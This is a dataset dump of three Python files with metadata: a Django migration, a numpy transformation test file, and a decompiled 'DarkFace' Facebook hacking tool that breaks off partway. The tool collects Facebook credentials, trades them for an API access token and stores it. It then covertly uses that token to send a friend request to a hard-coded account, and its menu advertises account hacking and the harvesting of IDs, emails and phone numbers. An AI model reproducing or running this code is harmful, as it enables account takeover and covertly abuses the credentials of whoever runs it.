hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c53840943bf05b5fb77a85984afd89ab58177e9d
| 9,190
|
py
|
Python
|
corehq/warehouse/migrations/0004_app_status_fact_form_fact_form_staging_synclog_staging_models.py
|
dborowiecki/commcare-hq
|
f2f4fa67faec09040a98502f5657444075b63f2e
|
[
"BSD-3-Clause"
] | null | null | null |
corehq/warehouse/migrations/0004_app_status_fact_form_fact_form_staging_synclog_staging_models.py
|
dborowiecki/commcare-hq
|
f2f4fa67faec09040a98502f5657444075b63f2e
|
[
"BSD-3-Clause"
] | null | null | null |
corehq/warehouse/migrations/0004_app_status_fact_form_fact_form_staging_synclog_staging_models.py
|
dborowiecki/commcare-hq
|
f2f4fa67faec09040a98502f5657444075b63f2e
|
[
"BSD-3-Clause"
] | null | null | null |
# Generated by Django 1.10.7 on 2017-06-14 19:34
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('warehouse', '0003_userstagingtable'),
]
operations = [
migrations.CreateModel(
name='ApplicationStatusFact',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('last_form_submission_date', models.DateTimeField(null=True)),
('last_sync_log_date', models.DateTimeField(null=True)),
('last_form_app_build_version', models.CharField(max_length=255)),
('last_form_app_commcare_version', models.CharField(max_length=255)),
('last_form_app_source', models.CharField(max_length=255)),
('last_sync_log_app_build_version', models.CharField(max_length=255)),
('last_sync_log_app_commcare_version', models.CharField(max_length=255)),
('last_sync_log_app_source', models.CharField(max_length=255)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='FormFact',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('form_id', models.CharField(max_length=255, unique=True)),
('domain', models.CharField(max_length=255)),
('app_id', models.CharField(max_length=255, null=True)),
('xmlns', models.CharField(max_length=255)),
('user_id', models.CharField(max_length=255, null=True)),
('received_on', models.DateTimeField(db_index=True)),
('deleted_on', models.DateTimeField(null=True)),
('edited_on', models.DateTimeField(null=True)),
('last_modified', models.DateTimeField(null=True)),
('build_id', models.CharField(max_length=255, null=True)),
('state', models.PositiveSmallIntegerField(choices=[(1, b'normal'), (2, b'archived'), (4, b'deprecated'), (8, b'duplicate'), (16, b'error'), (32, b'submission_error'), (64, b'deleted')])),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='FormStagingTable',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('form_id', models.CharField(max_length=255, unique=True)),
('domain', models.CharField(default=None, max_length=255)),
('app_id', models.CharField(max_length=255, null=True)),
('xmlns', models.CharField(default=None, max_length=255)),
('user_id', models.CharField(max_length=255, null=True)),
('received_on', models.DateTimeField(db_index=True)),
('deleted_on', models.DateTimeField(null=True)),
('edited_on', models.DateTimeField(null=True)),
('build_id', models.CharField(max_length=255, null=True)),
('state', models.PositiveSmallIntegerField(choices=[(1, b'normal'), (2, b'archived'), (4, b'deprecated'), (8, b'duplicate'), (16, b'error'), (32, b'submission_error'), (64, b'deleted')], default=1)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='SyncLogStagingTable',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('sync_log_id', models.CharField(max_length=255)),
('sync_date', models.DateTimeField(null=True)),
('domain', models.CharField(max_length=255, null=True)),
('user_id', models.CharField(max_length=255, null=True)),
('build_id', models.CharField(max_length=255, null=True)),
('duration', models.IntegerField(null=True)),
],
options={
'abstract': False,
},
),
migrations.AddField(
model_name='domaindim',
name='deleted',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='domainstagingtable',
name='domain',
field=models.CharField(default=None, max_length=100),
preserve_default=False,
),
migrations.AddField(
model_name='groupdim',
name='deleted',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='locationdim',
name='deleted',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='userdim',
name='deleted',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='userdim',
name='doc_type',
field=models.CharField(default=None, max_length=100),
preserve_default=False,
),
migrations.AddField(
model_name='usergroupdim',
name='deleted',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='userlocationdim',
name='deleted',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='userstagingtable',
name='domain',
field=models.CharField(default=None, max_length=100),
preserve_default=False,
),
migrations.AlterField(
model_name='domaindim',
name='creating_user_id',
field=models.CharField(max_length=255, null=True),
),
migrations.AlterField(
model_name='domaindim',
name='domain_created_on',
field=models.DateTimeField(null=True),
),
migrations.AlterField(
model_name='domaindim',
name='domain_last_modified',
field=models.DateTimeField(null=True),
),
migrations.AlterField(
model_name='domaindim',
name='first_domain_for_user',
field=models.NullBooleanField(),
),
migrations.AlterField(
model_name='domaindim',
name='hr_name',
field=models.CharField(max_length=255, null=True),
),
migrations.AlterField(
model_name='domaindim',
name='location_restriction_for_users',
field=models.NullBooleanField(),
),
migrations.AlterField(
model_name='domaindim',
name='project_type',
field=models.CharField(max_length=255, null=True),
),
migrations.AlterField(
model_name='domaindim',
name='use_sql_backend',
field=models.NullBooleanField(),
),
migrations.AlterField(
model_name='domainstagingtable',
name='domain_last_modified',
field=models.DateTimeField(null=True),
),
migrations.AlterField(
model_name='userdim',
name='email',
field=models.CharField(max_length=255, null=True),
),
migrations.AlterField(
model_name='userdim',
name='first_name',
field=models.CharField(max_length=30, null=True),
),
migrations.AlterField(
model_name='userdim',
name='is_active',
field=models.NullBooleanField(),
),
migrations.AlterField(
model_name='userdim',
name='is_staff',
field=models.NullBooleanField(),
),
migrations.AlterField(
model_name='userdim',
name='is_superuser',
field=models.NullBooleanField(),
),
migrations.AlterField(
model_name='userdim',
name='last_login',
field=models.DateTimeField(null=True),
),
migrations.AlterField(
model_name='userdim',
name='last_name',
field=models.CharField(max_length=30, null=True),
),
migrations.AddField(
model_name='formfact',
name='domain_dim',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='warehouse.DomainDim'),
),
migrations.AddField(
model_name='formfact',
name='user_dim',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='warehouse.UserDim'),
),
migrations.AddField(
model_name='applicationstatusfact',
name='user_dim',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='warehouse.UserDim'),
),
]
| 40.131004
| 215
| 0.55876
| 852
| 9,190
| 5.838028
| 0.151408
| 0.093486
| 0.094089
| 0.125452
| 0.870326
| 0.850422
| 0.783273
| 0.748693
| 0.74045
| 0.659228
| 0
| 0.020856
| 0.311317
| 9,190
| 228
| 216
| 40.307018
| 0.76505
| 0.005005
| 0
| 0.738739
| 1
| 0
| 0.144826
| 0.031175
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.009009
| 0
| 0.022523
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
3d7fb8d736d57eaee1de864a2ac5102168569ff7
| 3,231
|
py
|
Python
|
tomography_preprocessing/utils/tests/test_transformations.py
|
alisterburt/tomo_preprocessing
|
300f16970278591a006e34da16e80d7713912187
|
[
"BSD-3-Clause"
] | 2
|
2022-03-11T10:04:31.000Z
|
2022-03-11T13:35:58.000Z
|
tomography_preprocessing/utils/tests/test_transformations.py
|
alisterburt/tomo_preprocessing
|
300f16970278591a006e34da16e80d7713912187
|
[
"BSD-3-Clause"
] | null | null | null |
tomography_preprocessing/utils/tests/test_transformations.py
|
alisterburt/tomo_preprocessing
|
300f16970278591a006e34da16e80d7713912187
|
[
"BSD-3-Clause"
] | null | null | null |
import numpy as np
from tomography_preprocessing.utils.transformations import Rx, Ry, Rz, S
def test_single_x_rotation():
"""Rotation around X should be right handed.
"""
xyzw = np.array([1, 1, 1, 1]).reshape((4, 1))
result = Rx(90) @ xyzw
expected = np.array([1, -1, 1, 1]).reshape((4, 1))
assert result.shape == (4, 1)
assert np.allclose(result, expected)
def test_single_y_rotation():
"""Rotation around Y should be right handed.
"""
xyzw = np.array([1, 1, 1, 1]).reshape((4, 1))
result = Ry(90) @ xyzw
expected = np.array([1, 1, -1, 1]).reshape((4, 1))
assert result.shape == (4, 1)
assert np.allclose(result, expected)
def test_single_z_rotation():
"""Rotation around Z should be right handed.
"""
xyzw = np.array([1, 1, 1, 1]).reshape((4, 1))
result = Rz(90) @ xyzw
expected = np.array([-1, 1, 1, 1]).reshape((4, 1))
assert result.shape == (4, 1)
assert np.allclose(result, expected)
def test_multiple_x_rotations():
"""Should be able to generate multiple matrices from an array of angles."""
angles = np.linspace(0, 90, 10)
matrices = Rx(angles)
assert matrices.shape == (10, 4, 4)
assert np.allclose(matrices[0], np.eye(4))
assert np.allclose(matrices[-1], Rx(90))
def test_multiple_y_rotations():
"""Should be able to generate multiple matrices from an array of angles."""
angles = np.linspace(0, 90, 10)
matrices = Ry(angles)
assert matrices.shape == (10, 4, 4)
assert np.allclose(matrices[0], np.eye(4))
assert np.allclose(matrices[-1], Ry(90))
def test_multiple_z_rotations():
"""Should be able to generate multiple matrices from an array of angles."""
angles = np.linspace(0, 90, 10)
matrices = Rz(angles)
assert matrices.shape == (10, 4, 4)
assert np.allclose(matrices[0], np.eye(4))
assert np.allclose(matrices[-1], Rz(90))
def test_single_shift_matrix_3d():
"""Generate a single (4, 4) affine matrix from a 3D shift vector."""
shifts = [1, 2, 3]
matrix = S(shifts)
assert matrix.shape == (4, 4)
assert np.allclose(matrix[:3, 3], shifts)
assert np.allclose(matrix[:3, :3], np.eye(3))
def test_single_shift_matrix_2d():
"""Generate a single (4, 4) affine matrix from a 2D shift vector."""
shifts = [1, 2]
matrix = S(shifts)
assert matrix.shape == (4, 4)
assert np.allclose(matrix[:2, 3], shifts)
assert matrix[2, 3] == 0
assert np.allclose(matrix[:3, :3], np.eye(3))
def test_multiple_shift_matrices_3d():
"""Generate multiple (4, 4) affine matrices from an array of 3D shift vectors."""
shifts = np.arange(18).reshape((6, 3))
matrices = S(shifts)
assert matrices.shape == (6, 4, 4)
assert np.allclose(matrices[:, :3, 3], shifts)
assert np.allclose(matrices[:, :3, :3], np.eye(3))
def test_multiple_shift_matrices_3d():
"""Generate multiple (4, 4) affine matrices from an array of 2D shift vectors."""
shifts = np.arange(18).reshape((9, 2))
matrices = S(shifts)
assert matrices.shape == (9, 4, 4)
assert np.allclose(matrices[:, :2, 3], shifts)
assert np.allclose(matrices[:, 2, 3], 0)
assert np.allclose(matrices[:, :3, :3], np.eye(3))
| 32.636364
| 85
| 0.633859
| 498
| 3,231
| 4.042169
| 0.128514
| 0.017884
| 0.14307
| 0.131148
| 0.868852
| 0.829608
| 0.743169
| 0.708395
| 0.708395
| 0.646796
| 0
| 0.060288
| 0.204271
| 3,231
| 98
| 86
| 32.969388
| 0.722676
| 0.19282
| 0
| 0.46875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.453125
| 1
| 0.15625
| false
| 0
| 0.03125
| 0
| 0.1875
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3dc534eb5c654863001b4979fe6ec32a18822cae
| 113,711
|
py
|
Python
|
DarkFace/darkface_dec.py
|
shyamjangid07/Reverse-Engineering
|
469efabcd6057f7895d8d891f1fabdf2ffe730b0
|
[
"Apache-2.0"
] | 337
|
2020-08-15T12:22:14.000Z
|
2022-03-29T06:05:15.000Z
|
DarkFace/darkface_dec.py
|
Wh014M/Reverse-Engineering
|
f7aae2c43f7ea4a6730964d085c07814b6660a53
|
[
"Apache-2.0"
] | 3
|
2020-11-12T14:30:48.000Z
|
2021-05-18T16:56:22.000Z
|
DarkFace/darkface_dec.py
|
Wh014M/Reverse-Engineering
|
f7aae2c43f7ea4a6730964d085c07814b6660a53
|
[
"Apache-2.0"
] | 83
|
2020-08-15T00:22:58.000Z
|
2022-03-31T08:40:23.000Z
|
# Decompiled by HTR-TECH | TAHMID RAYAT
# Github : https://github.com/htr-tech
#---------------------------------------
# Auto Dis Parser 2.2.0
# Source File : patched.pyc
# Bytecode Version : 2.7
# Time : Sun Aug 9 12:21:27 2020
#---------------------------------------
import os
import sys
import time
import datetime
import random
import hashlib
import re
import threading
import json
import getpass
import urllib
import cookielib
from multiprocessing.pool import ThreadPool
try:
import mechanize
except ImportError:
os.system('pip2 install mechanize')
try:
import requests
except ImportError:
os.system('pip2 install requests')
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1)
br.addheaders = [
'Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16']
wd = '\x1b[90;1m'
GL = '\x1b[96;1m'
BB = '\x1b[34;1m'
YY = '\x1b[33;1m'
GG = '\x1b[32;1m'
WW = '\x1b[0;1m'
RR = '\x1b[31;1m'
CC = '\x1b[36;1m'
B = '\x1b[34m'
Y = '\x1b[33;1m'
G = '\x1b[32m'
W = '\x1b[0;1m'
R = '\x1b[31m'
C = '\x1b[36;1m'
def keluar():
print '\x1b[1;91m[!] Exit'
os.sys.exit()
def acak(x):
w = 'mhkbpcP'
d = ''
for i in x:
d += '!' + w[random.randint(0, len(w) - 1)] + i
return cetak(d)
def cetak(x):
w = 'mhkbpcP'
for i in w:
j = w.index(i)
x = x.replace('!%s' % i, '\x1b[%s;1m' % str(31 + j))
x += '\x1b[0m'
x = x.replace('!0', '\x1b[0m')
sys.stdout.write(x + '\n')
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.1)
logo = '\n[RG4] Black_Coder Team<<<\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\nRemaja berkarya \xe2\x95\x91\nBukan Bergaya Dark Facebook \xe2\x95\x91\nAuthor : Tegar ID \xe2\x95\x91\nKontak : 08212506xxxx \xe2\x95\x91\nGithub : Https://github.com/Tegar-ID \xe2\x95\x91\n\xe2\x95\x91-\xe2\x96\xba {01}./P3R50N G4N5 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n\xe2\x95\x91-\xe2\x96\xba {02}Mr XHamster \xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\n\xe2\x95\x91-\xe2\x96\xba {03}MeYouSue \xe2\x95\x91 Tegar \xe2\x95\x91]\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\n\xe2\x95\x91-\xe2\x96\xba {04}Lucky Know \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x91\n\xe2\x95\x91-\xe2\x96\xba {05}XGanz \xe2\x95\x91\n\xe2\x95\x91-\xe2\x96\xba {06}Mr.Cekliz \xe2\x95\x91\n\xe2\x95\x91-\xe2\x96\xba {07}Bidadari Viee \xe2\x95\x91\n\xe2\x95\x91-\xe2\x96\xba {08}Rice \xe2\x95\x91\n\xe2\x95\x91-\xe2\x96\xba {09}./Nahrun Ganz \xe2\x95\x91\n\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90[Dark Facebook]\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d'
def tik():
titik = [
'. ',
'.. ',
'... ']
for o in titik:
print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mLoading \x1b[1;97m' + o,
sys.stdout.flush()
time.sleep(1)
back = 0
threads = []
berhasil = []
cekpoint = []
oks = []
gagal = []
idteman = []
idfromteman = []
idmem = []
emmem = []
nomem = []
id = []
em = []
emfromteman = []
hp = []
hpfromteman = []
reaksi = []
reaksigrup = []
komen = []
komengrup = []
listgrup = []
vulnot = '\x1b[31mNot Vuln'
vuln = '\x1b[32mVuln'
def masuk():
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91==\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Login'
print '\x1b[1;97m\xe2\x95\x91==\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Login using token'
print '\x1b[1;97m\xe2\x95\x91==\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Exit'
print '\x1b[1;97m\xe2\x95\x91'
msuk = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if msuk == '':
print '\x1b[1;91m[!] Wrong input'
keluar()
elif msuk == '1':
login()
elif msuk == '2':
tokenz()
elif msuk == '0':
keluar()
else:
print '\x1b[1;91m[!] Wrong input'
keluar()
def login():
os.system('reset')
try:
toket = open('login.txt', 'r')
menu()
except (KeyError, IOError):
os.system('reset')
print logo
print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK'
id = raw_input('\x1b[1;91m[+] \x1b[1;36mID\x1b[1;97m|\x1b[1;96mEmail\x1b[1;97m \x1b[1;91m:\x1b[1;92m ')
pwd = raw_input('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ')
tik()
try:
br.open('https://m.facebook.com')
except mechanize.URLError:
print '\n\x1b[1;91m[!] No connection'
keluar()
br._factory.is_html = True
br.select_form(nr = 0)
br.form['email'] = id
br.form['pass'] = pwd
br.submit()
url = br.geturl()
if 'save-device' in url:
try:
sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
data = {
'api_key': '882a8490361da98702bf97a021ddc14d',
'credentials_type': 'password',
'email': id,
'format': 'JSON',
'generate_machine_id': '1',
'generate_session_cookies': '1',
'locale': 'en_US',
'method': 'auth.login',
'password': pwd,
'return_ssl_resources': '0',
'v': '1.0' }
x = hashlib.new('md5')
x.update(sig)
a = x.hexdigest()
data.update({
'sig': a })
url = 'https://api.facebook.com/restserver.php'
r = requests.get(url, params = data)
z = json.loads(r.text)
zedd = open('login.txt', 'w')
zedd.write(z['access_token'])
zedd.close()
print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin successfully'
requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token'])
menu()
except requests.exceptions.ConnectionError:
print '\n\x1b[1;91m[!] No connection'
keluar()
if 'checkpoint' in url:
print '\n\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
else:
print '\n\x1b[1;91m[!] Login Failed'
os.system('rm -rf login.txt')
time.sleep(1)
login()
def tokenz():
os.system('reset')
print logo
toket = raw_input('\x1b[1;91m[?] \x1b[1;92mToken\x1b[1;91m : \x1b[1;97m')
try:
otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
a = json.loads(otw.text)
nama = a['name']
zedd = open('login.txt', 'w')
zedd.write(toket)
zedd.close()
menu()
except KeyError:
print '\x1b[1;91m[!] Wrong'
e = raw_input('\x1b[1;91m[?] \x1b[1;92mWant to pick up token?\x1b[1;97m[y/n]: ')
if e == '':
keluar()
elif e == 'y':
login()
else:
keluar()
def menu():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
os.system('reset')
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
a = json.loads(otw.text)
nama = a['name']
id = a['id']
except KeyError:
os.system('reset')
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
os.system('rm -rf login.txt')
time.sleep(1)
login()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[!] No connection'
keluar()
os.system('reset')
print logo
print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Name \x1b[1;91m: \x1b[1;92m' + nama + '\x1b[1;97m'
print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m ID \x1b[1;91m: \x1b[1;92m' + id
print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m User information'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Get Id/email/hp'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Hack facebook account '
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m Bot '
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Others '
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6.\x1b[1;97m Show token '
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m7.\x1b[1;97m Delete trash '
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m8.\x1b[1;97m LogOut '
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Exit the programs '
print '\xe2\x95\x91'
pilih()
def pilih():
zedd = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if zedd == '':
print '\x1b[1;91m[!] Wrong input'
pilih()
elif zedd == '1':
informasi()
elif zedd == '2':
dump()
elif zedd == '3':
menu_hack()
elif zedd == '4':
menu_bot()
elif zedd == '5':
lain()
elif zedd == '6':
os.system('reset')
print logo
toket = open('login.txt', 'r').read()
print '\x1b[1;91m[+] \x1b[1;92mYour token\x1b[1;91m :\x1b[1;97m ' + toket
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu()
elif zedd == '7':
os.remove('out')
elif zedd == '8':
os.system('rm -rf login.txt')
os.system('xdg-open https://www.youtube.com/nganunymous')
keluar()
elif zedd == '0':
keluar()
else:
print '\x1b[1;91m[!] Wrong input'
pilih()
def informasi():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
aid = raw_input('\x1b[1;91m[+] \x1b[1;92mEnter ID\x1b[1;97m/\x1b[1;92mName\x1b[1;91m : \x1b[1;97m')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
cok = json.loads(r.text)
for i in cok['data']:
if not aid in i['name']:
if aid in i['id']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
print 42 * '\x1b[1;97m\xe2\x95\x90'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + z['name']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mName\x1b[1;97m : \x1b[1;91mNot found'
try:
